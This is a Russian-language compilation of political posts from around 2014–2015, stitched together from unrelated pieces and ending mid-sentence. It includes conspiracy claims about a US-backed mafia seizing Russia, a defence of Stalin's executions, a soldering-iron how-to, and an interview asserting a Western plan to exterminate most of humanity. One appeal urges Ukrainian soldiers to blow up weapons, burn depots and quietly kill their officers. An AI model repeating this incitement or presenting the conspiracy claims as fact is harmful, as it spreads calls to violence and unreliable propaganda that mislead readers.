Получается, что много лет он ничего не знал о том, что является членом "непартии" и осуществляет в ней "антинародную" деятельность и только когда стал президентом РСФСР, он это осознал. Может ли такое быть? Или это просто прикрытие своей преступной деятельности, изысканное лицемерие и ложь?

То же самое относится и к соратникам Ельцина и Кравчука.

Таким образом:

В 1991 году власть в России (РСФСР) захватила государственная мафия, сформировавшаяся внутри КПСС во второй половине 80-х.

Что происходило далее?

Далее мафия (ОПГ), захватившая власть в стране, осуществила раздел СССР, в результате которого в каждом из образовавшихся независимых государств власть получила отдельная группировка.

В каждой из стран, в том числе в России, получившая власть ОПГ (мафия) занялась приватизацией и разделом государственной собственности, распределением этой собственности (активов, ресурсов) между участниками ОПГ.

Действия руководства России в 90-е годы только подтверждает преступный характер их группировки, захватившей власть, ее мафиозную суть.

Пришедшие к власти государственные преступники не занялись развитием страны, они занялись именно разделом имущества, распределением ресурсов между членами своего преступного сообщества, разделом награбленного, как всегда делает мафия, добравшись до очередного актива.

Демократия и рыночные преобразования оставались лишь прикрытием их деятельности.

Важно отметить и то, что мафия, захватившая власть в России и других республиках б.СССР, действовала при всесторонней поддержке США и с полным учетом интересов США.

При этом руководство США и международные финансовые группы (ТНК) тоже в определенном смысле являются мафией, только мафией в мировом масштабе.

Следовательно, можно сказать, что власть в России (и других республиках б.СССР) в 1991 году получили региональные отделения международной над государственной (наднациональной) мафии.

Точнее будет так: сформировавшаяся в рядах КПСС и комсомола во второй половине 80-х внутренняя партийная мафия примкнула к международной наднациональной мафии, интересы которой реализует руководство США, после чего региональная мафия, действующая на территории СССР, осуществила демонтаж советской системы и ликвидировала КПСС в интересах США, выполнила раздел СССР и занялась приватизацией и распределением между своими членами советской собственности в своих личных интересах.

Фактически, имел место сговор:

США получает демонтаж советской системы, ликвидацию и раздел СССР, к чему Вашингтон стремился несколько десятилетий, а выполняющая эту операция региональная мафия (Ельцин и соратники) получают в качестве вознаграждения за свои старания в личное пользование собственность разрушаемого государства. Все довольны. Все участники сговора получают то, к чему они стремились.

Кроме того, Ельцин и соратники получали выход на международный уровень в высоком статусе руководства суверенного демократического государства. А также возможность приобретения зарубежной недвижимости, земли и других активов, возможность сохранения своих капиталов в иностранных банках (что было важно в случае потери власти в России) и, скорее всего, гарантии личной безопасности (на тот же случай).

Но они удержались у власти.

Контрреволюции (контр переворота) не произошло.

Попытка пресечь преступную деятельность президента и его соратников, ограничить их преступное сообщество, которую в 1993 году пытался осуществить Верховный Совет, была пресечена. Верховный совет был расстрелян.

После расстрела Верховного Совета в 1993 году власть российской государственной мафии стала неограниченной.

В 1996 году мафия выдержала испытания выборами и доказала, что демократия - это власть демократов, при которой на выборах всегда побеждает организатор.

Одновременно с этим, мафия получила возможность отвечать на все обвинения, что она представляет народ, выбрана народом и действует в интересах народа. Конечно, это была ложь. Но это была очень эффективная ложь, на которую было сложно что-то возразить.

Однако время требовало менять принцип действий и обновлять структуру преступного сообщества.

Бесконечно заниматься разделом государственного имущества было невозможно. Самые выгодные предприятия, которые можно было продать, которые генерировали постоянный доход, были распределены в первые годы правления.

Пирамиду ГКО вырастили, вынули из нее собранные средства и обрушили, списав все преступления (названные ошибками управления) на нескольких "козлов".

Приближалось время новых выборов, для победы на которых нужно было придумывать новые механизмы, потому что ограбленный и озлобленный народ начинал подозревать, что управление страной осуществляется не совсем в его интересах.

Нужно было также менять и принцип получения и распределения доходов, потому что наиболее ценная госсобственность уже была распределена, а передел внутри мафии означал бы только внутренний конфликт с трудно предсказуемыми последствиями (что в дальнейшем случилось на Украине).

Еще одной проблемой стали отношения с США. В 1991 году Вашингтон уже получил то, к чему стремился - демонтаж советской системы, ликвидацию СССР и КПСС. Больше региональная мафия ничего не могла предложить мировой на взаимовыгодных условиях. Раздел России и сдача распределенной внутри мафии собственности уже вступала в противоречие с интересами региональной мафии, владевшей Россией.

Между мировой мафией (США) и региональной (Кремлевской) возникал конфликт интересов.

Все это в совокупности вело к необходимости глубоких преобразований и качественных изменений в преступном сообществе, владевшем Россией.

Мафия, правящая Россией, должна была измениться. И она изменилась.

Как именно - этому будет посвящена вторая часть.

Продолжение следует...

ИНТЕРЕСЕН ВЗГЛЯД НА СТАЛИНСКУЮ ВЛАСТЬ С ПОЗИЦИИ ХРИСТИАНСТВА.

Царь ( глава страны ) - страж порядка, наказывающий зло любыми методами вплоть до меча. Если России был дан Богом или допущен такой царь, как Сталин. значит это было угодно Богу. Если не знакомы с Заповедями об этом :
( 1 ) Царств 8:9-20; Екклесиаст 8:2-4; 10: 20; Римлянам 13: 1-4.
Нравственные категории царей рассматриваются с позиции их сверхзадачи-- защиты народа своей страны от зла любыми методами, в том числе и казнями. " Поступайте с другими так, как хотели бы, чтобы с вами поступали" ..А народ всегда хочет, чтобы его защищали. А защита не всегда возможна без жертв.
Примеры конкретные из Библии.
Царь Давид--святой ? . Да ! . И автор всех Псалмов. А сколько крови пролил ? . Много пролил ради защиты народа своей страны и укрощения врагов. Бог осудил его за это ? . Не осудил ! . Но сказал, что Давид--это " муж по сердцу Его" .Только не разрешил строить храм, оттого что пролил много крови. Читайте Книги Царств и Псалмы.
А теперь посмотрим на действия Самого нашего Господа Бога. Он, чтобы защитить Землю от зла, казнил в Потопе всю цивилизацию, кроме одной семьи. Так сколько крови Он пролил ? . И далее Бог, начиная с Книги Исход и далее в Книгах Царств призывал к заклятию и истреблению народов, представляющих угрозу другим своим злом.
Вы скажете: " Но Сталин казнил и сажал не защищая свою страну и её народ.". А вот и неправы будете. Именно свой народ Сталин защищал и свою страну от бандитских группировок на селе, в городе, во властных структурах , которые народ истребляли. И Сталин даже предсказал, что за эту изоляцию бандитов он сам пострадает, так как наказанные преступники из за мести все свои убийства свалят на него одного. И Сталин тем не менее на это пошёл добровольно, веря, что время всё рассудит правильно. Сталин пожертвовал собою, согласившись чужую вину взять на себя.




-- 
Анна Домина

• 7 май, 2015 в 19:02

В феврале 2014 года гендиректором радиостанции "Эхо Москвы" стала Екатерина Павлова. 



Она - жена Алексея Павлова. Алексей Павлов - зам Пескова. 

Можно и балансовым методом доказать, что прямые людские потери (жертвы войны) СССР составляли около 16 млн. Для этого надо установить корректное соотношение уровня естественной смертности между относительно
 благополучным в демографическом плане 1940 годом и экстремальными 1941—1945 годами. Соотношение 1 : 1, установленное работавшей в 1989—1990 годы комиссией, нельзя признать корректным. Ведь было же понятно, что в 1941—1945 годы в связи с ухудшением условий жизни, отсутствием дефицитных лекарств и т. п. уровень естественной смертности населения неизбежно возрастёт. И здесь необходима поправка в сторону увеличения при исчислении этого уровня применительно к экстремальным 1941—1945 годам и установить его в рамках не 18,9 млн., а довести хотя бы до 22 млн. Эта величина (22 млн.) является минимально допустимым уровнем естественной смертности населения в 1941—1945 годы. По нашим подсчётам и оценкам, к концу 1945 года не было в живых порядка 38 млн. человек, живших до войны, а также родившихся во время войны и тогда же умерших (в это число входят и лица, которые на самом деле были живы, но находились в эмиграции), и если из этого количества вычесть указанные 22 млн., то остается 16 млн. жертв войны (38 млн. — 22 млн. = 16 млн.).
Коснёмся немного проблемы сопоставимости наших потерь с потерями других стран. Общие людские потери Японии (2,5 млн.) сопоставимы с рассчитанными нами 16 млн., но несопоставимы с хрущёвскими и брежневскими 20 млн. Почему так? А потому, что в японских потерях не учтена возможная повышенная смертность гражданского населения в военные годы по сравнению с мирным временем. Это не учтено ни в немецких, ни в английских, ни во французских, ни в иных общих людских потерях в войне. В других странах подсчитывали именно прямые людские потери, а названная в 1961 году Н.С.Хрущёвым величина в 20 млн. подразумевала демографические потери в широком плане, включающая в себя не только прямые людские потери, но и скачок в естественной смертности населения в военное время. Кстати, минимальные расчёты германских людских потерь (6,5 млн.) сопоставимы именно с нашими 16 млн., но несопоставимы с 20 млн., так как немцы, не применяя балансового метода и не определяя скачка в естественной смертности населения, старались скрупулезно подсчитать и суммировать все составляющие прямых военных и гражданских потерь, включая ставших жертвами Холокоста немецких евреев.
Конечно, в военное время резко снизилась рождаемость. В дилетантской среде прослеживается тенденция включать «неродившихся детей» в общее число людских потерь в войне. Причём «авторы» обычно не имеют понятия, сколько же, собственно, детей «недородилось», и делают крайне сомнительные «расчёты», руководствуясь при этом исключительно собственной «интуицией» и доводя за счёт этого общие людские потери СССР иногда даже до 50 млн. Разумеется, подобную «статистику» нельзя воспринимать всерьёз. В научной демографии всего мира включение неродившихся детей в общее число людских потерь в войне принято считать некорректным. Иначе говоря, в мировой науке это запрещённый прием.
Существует довольно большой пласт всякого рода литературы, в которой, даже без учёта «неродившихся детей», посредством некорректных статистических манипуляций и ухищрений и «интуитивных оценок» выводятся самые невероятные и, естественно, заведомо ложные цифры прямых потерь — от 40 млн. и выше. Вести цивилизованную научную дискуссию с этими «авторами» невозможно, поскольку, как нам неоднократно приходилось убеждаться, их цель состоит не в поисках исторической правды, а лежит совсем в иной плоскости: ошельмовать и дискредитировать советских руководителей и военачальников и в целом советскую систему; принизить значение и величие подвига Красной Армии и народа в Великой Отечественной войне; возвеличить успехи нацистов и их пособников.
Конечно, 16 млн. прямых людских потерь — это огромные жертвы. Но они, по нашему глубокому убеждению, отнюдь не принижают, а, напротив, возвеличивают подвиг народов многонациональной страны СССР в Великой Отечественной войне.Полностью см
http://www.politpros.com/jo...  
Опровергнуты сталинские 7 млн...хрущевские 20 млн....горбачевские 27 млн     Использовано Статистическое исследование"Гриф секретно снят.Потери воор Сил СССР в ВОВ.1993 г"

Эта статья выставлена несколько дней назад на ВЗГЛЯДЕ и сайте КОМСОМОЛКИ. Я понимаю - автор довольно грубовато не только тычет носом в прошлое, объясняя отношение европейцев к нам, но и явно или неявно, - в их нынешнее изумление "неправильным" поведением России.
Почему разнообразные народы и государства, на освобождение, содержание и развитие которых русские потратили много сил, денег и жизней, Россию не любят?

«Если ты наш хозяин, то почему ты такой худой и рваный?»

Либералы, как обычно, начинают рассказывать в ответ слезливые истории о том, как русские всех обижали и угнетали своими кровавыми режимами. Это – чепуха.
По меркам британского, французского, немецкого, американского и японского империализма Российская Империя и Советский Союз были самыми добрыми следователями на свете.

И, тем не менее, не любят именно нас – куда больше, чем всех остальных. Чтобы понять, почему это так, нужно посмотреть на то, как женщины относятся к мужчинам.

Кого выбирает женщина – того, кто настойчивее всех за ней ухаживает, или того, кто сам по себе, безотносительно внимания к ней, – увереннее, веселее, смелее, сильнее, социально успешнее всех прочих?

Очевидно, что женщина выберет второй вариант, если он у нее есть. За своих поклонников замуж выходят в основном «с горя». Вот из-за этого и не любят Россию.

Выведу формулу: люди хотят зависеть не от того, кто сделал им больше добра, а от того, кто сам живет лучше их.

Вспомним 1945 год.

Русские освобождали Восточную Европу огромной – своей, русской – кровью. Миллионы наших людей легли за все эти Краковы, Будапешты и Берлины. Но кто пришел в роли освободителей в эти города?

Пришли измученные войной, нищие, из побитых коллективизацией деревень, по-азиатски зависимые от советского начальства люди.

Советская военно-промышленная машина могла сверхконцентрацией усилий и ресурсов добиться фантастических результатов, но – представителем этой машины, ее знаменем в каком-то смысле стал человек, которому никакие Краковы и Берлины никогда бы не позавидовали.

Они сами жили богаче и свободнее, чем эти русские. А с запада пришли американцы.

Богатые, наглые, сверху вниз смотревшие на каких-то там жалких немцев, раздававшие жвачку и шоколадки.

Они ничем особенно не пожертвовали ради освобождения тех, к кому пришли. Больше того, они основательно их, освобождаемых, побомбили. Но выглядели-то они лучше, чем французы с итальянцами. Жили-то они сами намного лучше.
Потому-то их и признали хозяевами в «западной зоне», тогда как русских в «восточной зоне» хозяевами не признали. «Если ты наш хозяин, то почему ты такой худой и рваный?»

И этот сюжет в русской истории – вечный.

«Российское» государство может – в лучшие моменты своего существования – диктовать свой порядок пространству от Парижа до Аляски. Но делает оно все это ценой превращения русского человека в то, на что ни Париж, ни даже Аляска снизу вверх смотреть не будут. Ну, разве что «Средняя Азия» какая-нибудь.

И то же самое происходит сейчас на Украине.

Российская Федерация вложила в киевскую державу, прямо или косвенно, бесконечное количество миллиардов – на них все Нечерноземье можно было бы обустроить на уровне Германии. Держава с удовольствием раскрала эти деньги – и украдет еще столько, сколько дадут сожрать.

Но сами русские люди в результате всего этого стали выглядеть повелителями украинцев, высшими существами? Ничуть. Ну, пенсии чуть повыше – и все.

Зато американцы – ни копейки на Украину не потратившие, «и даже думать не будем о таких глупостях», – дают ей самое главное: зрелище самих себя в качестве королей. Это и ценится украинцами, да и всеми остальными тоже.

Пустите! Дайте на красивых людей посмотреть, они в самом Лос-Анджелесе в бассейне у себя на вилле купаются!

Вон они, вон они! Какие красивые...А ты чего пришел? Че те надо-то? Денег нам принес? Чтоб мы себе виллу построили и бассейн там сделали? Ну, положи вон там. И уходи. Уходи, оккупант! Мы заняты. У нас важные дела! Мы на хозяев смотрим.

Источник: Блог Дмитрия Ольшанского

Долорес Ибарурри, в то время когда жила в эмиграции в Москве призывала Советское правительство перестать тратить деньги на распространение коммунизма в Африке и Азии. Лучший способ распространения коммунизма - это создание примера достойной жизни внутри страны.

(«Лайфхак»)

Для его изготовления нам понадобится:
- шариковая ручка;
- резистор МЛТ-0.5 сопротивлением 5-10 ом;
- кусочек двухстороннего текстолита ~10x30 мм;
- кусочек сталистой проволоки диаметром ~0.8 мм;
- кусочек медной проволоки диаметром 1мм.
Изготавливаем нагревательный элемент. Сначала нужно снять краску с резистора. Это можно сделать, например, скальпелем, и для облегчения этой процедуры резистор можно немного разогреть, подключив его к регулируемому источнику питания. Затем срезаем одну из ног, вторая нам понадобится в качестве крепления и одного из тоководов. На месте срезанной ноги в передней чашечке сверлим отверстие 1 мм. В самом керамическом корпусе резистора уже есть отверстие примерно такого же диаметра, куда мы будем вставлять жало. Хочу заметить, что такое отверстие есть только в советских резисторах, поэтому импортные нам не подходят. Затем немного раззенковываем отверстие более толстым сверлом, чтобы наше жало не касалось чашечки. Кроме того, в передней чашечке делаем пропил для второго токовода.
Второй токовод, который будет выполнять еще и функцию крепления нагревательного элемента, я выгнул из пружинки от металлического джека.
Здесь есть два нюанса!
Проволочка должна хорошо лудиться.
Колечко должно одеваться на переднюю чашечку с некоторым усилием.
Из двухстороннего текстолита выпиливаем такую платку: передняя ее часть (широкая) - для припаивания тоководов и рассеивания тепла, которое так же по ним будет поступать; средняя - для крепления платки в корпусе шариковой ручки; третья (самая узкая) - для припаивания проводков и крепления кембрика.
Далее собираем все вместе. Одеваем на переднюю чашечку и припаиваем токовод. Это нужно для обеспечения хорошего электрического контакта, а не для механического крепления.
Припаиваем тоководы к платке. Жало паяльника изготавливаем из медной проволоки. Перед его установкой в отверстие нужно бросить маленький кусочек керамики или слюды, чтобы оно не касалось задней чашечки.
В качестве подводящих проводов лучше всего использовать МГТФ, так как он не плавится при случайном попадании под нагревательный элемент. Для питания паяльника я использую регулируемый БП 1А,0-15В. При сопротивлении резистора 8.5 ом рабочее напряжение 5.5-6В. Технология использования такого паяльника ничем (кроме размеров) не отличается от обычного - обычный припой, обычный флюс, через некоторое время жало нужно зачищать или менять. Кроме пайки микросхем с шагом 0.5 мм и меньше его можно использовать для любых мелких работ.

Автор неизвестен.

09.02.2015 

Народное ополчение Донбасса сегодня окончательно захлопнуло Дебальцевский котел. Украинские нацисты оказывают отчаянное сопротивление, пытаются прорываться из окружения, но терпят неудачу за неудачей и все чаще сдаются в плен.

Украинцы, не мы пришли на вашу землю с оружием, а вы на нашу.

Не обижайтесь, когда наши САУ, танки и «Грады» будут подходить сначала к Киеву, а затем и к Львову. Вы напросились сами!

Украинцампо мотивам http://my.mail.ru/community...

Братва.Сотни лет нашей общей истории мы жили как одна семья...за 20 лет США купили кучку предателей..которые теперь управляют вам во имя СВОИХ ИНТЕРЕСОВ и США..им нужна не Украина ИМ НУЖНА Территория РОССИИ...Россия не знала поражений..НЕ УСТУПИТ ОНА И СЕЙЧАС.. Пока не поздно , пока руки - ноги еще не стали сучащими культяпками , пока глаза видят белый свет- сдайтесь , дезертируйте , пересидите в подполье , бегите в Россию от войны с самими собой.Война вот-вот закончится . 
Если есть возможность , ломайте свои "Грады" и "Ураганы" , самолеты и вертолеты , танки и пушки подрывайте , склады жгите Офицеров, тех что не согласится сдаться,сбежать, потихоньку мочите ( они уже вас , солдат, боятся ) , снимайте на камеры всё ( смартфоны есть у многих) и бегите , спасайтесь . За подрыв вас могут амнистировать, скастить . Не позорьтесь , опомнитесь .подумайте ВО ИМЯ ЧЕГО ??!!.

Оглянитесь по сторонам .МИР ПРЕКРАСЕН!! Зачем  уходить из него  для тех кто творит беззаконие вашими руками ? Будет так , как свет выключили и все .!!.. ТЬМА .!!..Глухота .!!..
И вас нет !  Вы никогда не увидите своих внуков..и не сможете скоротать век своих родителей...Мама с папой есть , дочь и сын есть , сестра и брат есть , бабка с дедом есть , А вас нет ! Подумайте . НЕТ ВАС ! и НИКОГДА НЕ БУДЕТ !!

Порошенко под колпаком . Он в агонии уже . Под его ногами горит земля . Его и амеры держат на крючке и русские тоже. Ему хана и терять нечего (вернее сказать, потеряно всё) . Если бы этот клоун - авантюрист не был седым , он бы уже поседел . У него истерика . Петля на его шею уже накинута . 
Вам , братва, терять есть что . Какая к черту АТО ? Мозги есть ? Амеры ведь вас кинут . Уже кинули . Бегите .Спасите людей , спасите себя.

ВАЗГЕН АВАГЯН: ВЕТО НА ОТМЕНУ СОВЕСТИ 
БЕСЕДА О НАСУЩНОМ С ИЗВЕСТНЫМ ЭКОНОМИСТОМ ВАЗГЕНОМ ЛИПАРИТОВИЧЕМ АВАГЯНОМ              -Вазген Липаритович, наши читатели спрашивают нас - нет ли противоречия в ваших тезисах о выгоде высокосерийного производства в мировой торговле и необходимости импортозамещения для стран Евразийского Союза. С одной стороны, как экономист, вы подчеркиваете, что мировая торговля предоставляет возможности, которых нет и неоткуда взяться у замкнутого производителя. С другой - настойчиво советуете минимизировать контакты с подконтрольными НАТО рынками планеты... 

-Ценю простоту, поэтому давайте так: вы, Анна, картошку покупаете или выращиваете?

-И так и так бывало...

- Вот видите! Значит вы в рамках семейного бюджета знаете, что такое мировая торговля и что такое импортозамещение. Согласитесь, нельзя сказать раз и навсегда: картошку ВСЕГДА выгоднее покупать или ВСЕГДА выгоднее выращивать. Зависит от обстоятельств. Решение принимается взвешиванием доводов. Бывает, что проще вырастить - или наоборот, в магазин за ней сходить... Но если вы точно знаете, что в магазине вас поджидает шайка ваших врагов, готовящих ваше убийство? Тогда как? Пойдете в магазин?!

- Неожиданный детективный поворот...

- Я так думаю, что в магазин, где вас ждут убить - ходить за картошкой не стоит. Понимаете? И мне кажется просто бред - обсуждать качество, цену картошки в этом магазине... Тут уже кончаются прикидки хозяйственного толка и совсем другие действуют доводы. Можно попытаться найти другой магазин, или вырастить самому, или вообще обойтись без картошки, но... Думаю, продолжать нечего, вопрос исчерпан. Как и вопрос о мировой торговле для России.

-Вы полагаете, Россию сознательно стремятся уничтожить?

- Я - аналитик, и я не могу иначе истолковать всю совокупность фактов, которые имею. Если вас много раз пытались убить - можно ли сказать, что вас хотят убить?

- А много раз пытались?

- Геноцид сербов исключительно за их культурно-языковую близость к русским. Геноцид русских в Приднестровье в 1992 году. Обезъязычивание и обесправливание русских в Прибалтике - вопреки всем действующим европейским законам о языках, народах, запрете национально-расовой дискриминации и т.п. Геноцид русских в дудаевской Чечне, управлявшейся из ЦРУ.

Экономический геноцид русских в России при Ельцине, признанный большинством Госдумы РФ, и управлявшийся американскими советниками...

Геноцид русских в наши дни на Украине... 

Везде - где руки не коротки - русских или убивают, или, в самом "гуманном" случае - переделывают в эдаких "потурченцев", в "янычар" - не только заставляя забыть свои корни, но и заставляя их ненавидеть! 

Говорить в такой ситуации о какой-то "спорности" планов уничтожения русских - я считаю, аналитику просто неприлично...

- Вазген Липаритович, чем мешает миру Россия, и почему её постоянно пытаются расчленить и уничтожить?

- Говоря очень кратко: Россия накладывает вето на давно созревшее решение западных держав о полной и окончательной отмене морали. Решили, что людей много - экологии тяжело. Решили убить 5-6 млрд человек. 

Для них в этом отношении нет ни моральных проблем, ни технических. Но как только они начинают - влезает Россия со своим вето. Постепенно приходит понимание, что с этой "страной совестливых" надо кончать. Потому что эта страна сорвала геноцидов восемь-девять только за последнее десятилетие, не считая предыдущих! 

Она член совета безопасности ООН, у неё планетарные вето-полномочия - и она везде суёт свой нос. Плюс мощнейшая армия и ядерное оружие. И вот она - фактически, в одиночку (Китай иногда присоединяется "воздержавшись") - накладывает вето на полную отмену морали в международных отношениях...

- Зачем Западу нужна полная и безоговорочная отмена морали и нравственности? Ему-то какая выгода во взращивании вселенского Содома?!

- Поясняю на пальцах: цель - уничтожить 8/10 населения планеты. Мотивация - иссякают ресурсы, некуда наращивать потребление, "пределы роста". Вы почитайте - это же вполне официальная американская государственная доктрина, она в свободном доступе! Как вы думаете, можно убить 8/10 населения Земли - если перед этим не отменить "древних химер" морали, совести и религиозных заповедей? 

- Я думаю, совершенно невозможно... Палачам будут кошмары сниться...

- Вот вы сами и ответили на свой вопрос! Чтобы сохранить ресурсы - надо уничтожать население, чтобы уничтожать население с американским размахом (как мы это видели в разных частях света) - нужно отменить совесть. Не просто временно отключить или заблокировать, а отменить, как таковую. Для этого и нужен Содом - говоря словами вашего великого русского провидца Достоевского - "одно или два поколения разврата, разврата неслыханного, подленького, когда человек обращается в гадкую трусливую, жестокую, себялюбивую мразь". 

Людей превращают в животных, главным образом, чтобы отнять у них логику, чтобы они верили всему, что видят - а видеть они будут только экраны телевизоров. Потому что бессовестность Запада устала жить в условиях подполья и дергать за ниточки своих марионеток по ночам, она хочет легализации, хочет выйти в свет рамп, официально провозгласить свой абсолютизм - и чтобы никто не пикнул. Аморализм устал от ношения маски морали, он хочет снять маску, показаться истинным своим лицом - но так, чтобы лица этого никто не испугался. 

А это сложно, в высшей степени сложно, ибо мораль засела в человеке очень глубоко, и все её потравы любыми кислотами постмодернизма - поверхностны. Люди Запада уже готовы верить любой клевете - но даже они ещё не готовы открыто провозгласить добродетель пороком и наоборот. 

Особенно это сложно, когда есть Россия - страна, которая привычна к противостоянию с Западом, и, что очень важно, способна выдержать это противостояние. Стоит начать реализовывать план зачистки человечества на планете - и миллиарды потянутся к России, как к естественной альтернативе этого плана. Всё будет сорвано.

Совесть и стыд, как понятия, нельзя отменить в пределах отдельно взятого НАТО: это сыграет на руку противнику НАТО. Совесть нужно отменять повсеместно, а у России - право вето, и весь механизм зачистки человечества из-за неё одной (каких-то там 140 миллионов человек, меньше Бангладеша!!!) - заклинил. 

Представьте себе ярость людей - которым давно уже принадлежит почти вся планета. Людей, которым повинуются миллиарды безвольных рабов. Людей, которые давно решили что будут делать, и хорошо обдумали своё решение. Людей, у которых есть дорожная карта и расписанный по пунктам план - как, кого и сколько они будут зачищать первым этапом, вторым, и так далее... И вдруг - какие-то 140 млн. человек - встают поперек всего! Как говорится - "А баба Яга против!" Срываются сроки планетарного плана, срываются замыслы, уходит в могилу поколение, видевшее себя жрецами новой эры...

- Я думаю, они очень сердятся...

- Не то слово! Ведь между ними совесть в международных отношениях и в судах давно отменена. Очень удобно: какую бы гадость ни сделал - тут же сам себя и оправдал. А тут сбоку-припёку Россия. Для русских совесть - это не "то, что босс считает выгодным", а нечто твердое. Очень неудобно. Боссу, например, выгодно выжечь город и назвать это победой демократии, и вполне по силам, если бы никто не мешал - а тут русские... И говорят, что сожжение города или вырезание народа никакого отношения к победе демократии не имеют! Как бы ни был циничен и изворотлив Запад - с таким присяжным заседателем ему приходится считаться. Возникает большой дискомфорт: все черные дела на любом из континентов приходится делать с оглядкой на Россию. 

- Получается, что...

-... Что Россия - это фактор, превращающий власть мировой Бессовестности из самодержавной в конституционную! Это как парламент при тиране. Он вообще всегда тирану мешает, но особенно мешает - когда задумано что-то адски, запредельно нечеловеческое. Такое, как ликвидация большей части людей - потому что они много едят и сжирают планету...

- Что бы вы, Вазген Липаритович, сказали про западную демократию?

-То, что все одеваются по моде своего века. В ХХ веке не было ни одного Гитлера, ни одного Пол-Пота, который не уверял бы, что избран народом, контролируется народом и проводит волю народа. Поэтому и американский тоталитаризм, не придумав ничего нового, повторил главный миф своего столетия... Однако я не Вышинский, и для меня признание - не царица доказательств; мало ли что люди сами про себя расскажут? По фактам же в США не только нет демократии, но нет даже и мягких форм авторитаризма, свойственных устойчивым режимам, типа брежневского... 

На самом деле на Запада наступает эпоха Оруэлла. Важно подчеркнуть, что Оруэлл писал про Запад! Литературоведы подчеркивают, что в жутком мире, созданным Оруэллом, как прогнозистом, Оруэлл видел будущее Англии, а вовсе не Советского Союза. 

И он не ошибся. Современное состояние США таково, что не только применение морали, но и даже простое понимание - что такое мораль - давно утеряно. Идет наглое и циничное насаждение руководящих кадров, заточенных под Великий Геноцид. Руководителями государств насаждаются гориллы, у которых ни одна мышца не дрогнет, когда придёт приказ о ликвидации 90% населения. А он придёт - если уже не пришел. Ручаюсь. Американский экологический фашизм - страшная вещь, и планов тотального сокращения населения планеты никто не отменял, и даже не критиковал на западной стороне. 

-Кого вы видите в роли мясников грядущего Великого Геноцида?

-Далеко ходить за примерами не нужно. Прежде всего в памяти всплывает Петр Порошенко. Его посадили во власть с таким хрустом беззакония, что американская юстиция, давно уже мертвая, и перед смертью всякое видавшая - и та перевернулась в гробу. У мировых СМИ начался горячечный воспалённый бред: вот он, избранник народа! Такое может быть? Если такое может быть - тогда Луна из чугуна. У всякой лжи должны быть какие-то границы, человечество же дрессируют под безграничную ложь, под мир, в котором всё соткано из вранья, а объективной реальности вообще не существует.

-Вы считаете, что избрание Порошенко - яркий пример перехода в мир антиутопии оруэлловского языка?

- Да, это так. Чего не знали "избиратели" Порошенко? Что он олигарх, вор, склизкий от крови мародёр приватизации, путчист, предатель своей (еврейской) нации и самозванец в чужой, американский шпион и просто говно? Кому это не было известно в мире - поднимите руку! Кто этого не знал?! Наоборот - для чистоты эксперимента американцы сами же потрудились донести это до каждого: вот, всё это так, но никуда, твари не денетесь! 

Наша воля есть, а вашей нет! Надо будет - вы у нас за Чикатиллу, за Джека Потрошителя проголосуете - причем на предвыборных плакатах они будут разделывать жертв, чтобы подчеркнуть преимущество нашей воли над вашей!

Теперь нам говорят - что вот, мол, выбор народа, прозрачное голосование, подавляющим большинством в первом туре... Если это прокатит, если в это поверят - тогда ограничения сняты, можно делать что угодно и говорить об этом что угодно. 

Можно производить геноциды и называть их "вакцинациями", можно расстрельный подвал выдавать за роддом, а младенцев кидать в клетки к тиграм под запись на видеокамеру, и диктор объяснит, что это развивает толерантность...

Язык Оруэлла победил на Западе полностью, безоговорочно и окончательно. Слова сперва обессмыслились, а потом обрели противоположный прежнему смысл. Состояние мира Америка будет теперь называть войной, а состояние войны - миром. 

- Этому и мешает Россия?

- Да, как последний бастион мира, в котором совесть не продают на вынос в супермаркете...

Автор: Анна КУРГАНОВА, ведущая рубрики.

Рубрика: Актуальное интервью, опубликовано 26 декабря 2014 года в 19:31

АНАЛИТИКА, ВОЙНА, ПОЛИТИКА, РОССИЯ, УКРАИНА ГИБРИДНАЯ ГРАЖДАНСКАЯ ВОЙНА. ВАЛЮТНЫЙ ФРОНТ. ИНТЕРВЕНЦИЯ НАТО #РОССИЯ #НОВОРОССИЯ #УКРАИНА ИЗОБРАЖЕНИЕ 16.12.2014 ALEXANDR MINSKY  Гибридная гражданская война Что такое гибридная война? Это война, в которой ты зачастую не видишь противника на танке или с автоматом, но войну ты уже проиграл. А проиграл потому, что ты привык видеть линию фронта, за которой враги, а с этой стороны «свои» (пусть среди них есть и шпионы). А линий фронта, на самом деле, — десятки, если не сотни и тысячи (и даже больше). Причем эти незримые линии фронта зачастую проходят по городам, кварталам, квартирам, семьям. В этом плане изначально ближе всего к понятию гибридной войны были войны гражданские. Тем более такими они стали в нынешний век информационных технологий и глобализации. То, что мы видим сейчас на Украине, это не просто очередная гражданская война на территории бывшей республики СССР. Это очередной этап большой гражданской войны в СССР, гибридная суть которой с каждым годом проявляется все сильнее и сильнее. Причем в каждом ныне существующем независимом государстве есть своя линия фронта. Иногда тлеющая (как в Азербайджане, Белоруссии), иногда горячая (как сейчас на Украине). Она есть и в Прибалтике, и на Кавказе, и в Средней Азии. Безусловно, она есть и в России. Причем, если присмотреться, в каждой стране (республике) присутствуют общие черты противоборствующих сторон, а в иногда вспыхивающих конфликтах — общие причины и последствия. И это не случайно. На территории всего бывшего СССР идет гибридная гражданская война. Причем уже более 25 лет. Идет с переменным успехом. Если сначала силы, пытавшиеся расколоть общество СССР на сегменты (нации), имели безоговорочное преимущество, то в последнее десятилетие наметился некоторый перелом в этой войне. Вначале удалось расколоть СССР на 15 частей. Иногда враждующие между собой и практически всегда враждующие с Россией. Россия, как хребет любого Евразийского союза (Российской империи, Советского Союза), была главной мишенью. Гражданская война (горячая) полыхала уже и внутри страны (Кавказ). Некоторые регионы готовились «принять» эстафету распада (Татарстан, Башкирия). Но все изменилось на переломе тысячелетий. Что стало причиной этого? Если кто-то подумал, что я опять буду о Путине, то тот ошибся. Путин — это медийное лицо. Причем удачное лицо. Чье? СССР развалился не сам. Ему помогли. Причем помогли изнутри. Часть советской элиты заключила сделку с дьяволом США. Суть сделки, а реально — «разводки лохов», состояла в том, что их включат в мировую глобальную элиту. Взамен они «сливают» СССР и не препятствуют процессу глобализации. То, что их обманули, бывшие советские боссы поняли в середине 90-х. И инициировали процесс восстановления СССР. Начали, естественно, с России. Именно потому в России появились сначала Путин, затем победы. Уже к середине нулевых Россия укрепилась настолько, что смогла начать процесс возврата земель. Естественно, попытка «вернуться» в свои бывшие вотчины не могла не зажечь вновь уже практически остывшие внутренние фронты гражданской войны на территории бывшего СССР. Что это именно фронты одной большой гражданской войны, видно на примере Украины. Достаточно вспомнить добровольцев из России, которые борются… не только за Новороссию. Их достаточно много и на другой стороне. Причем как на фронте (тот же «Азов»), так и в тылу (Васильева). Со стороны «украинцев» достаточно вспомнить отряды УНА-УНСО (генетический предок 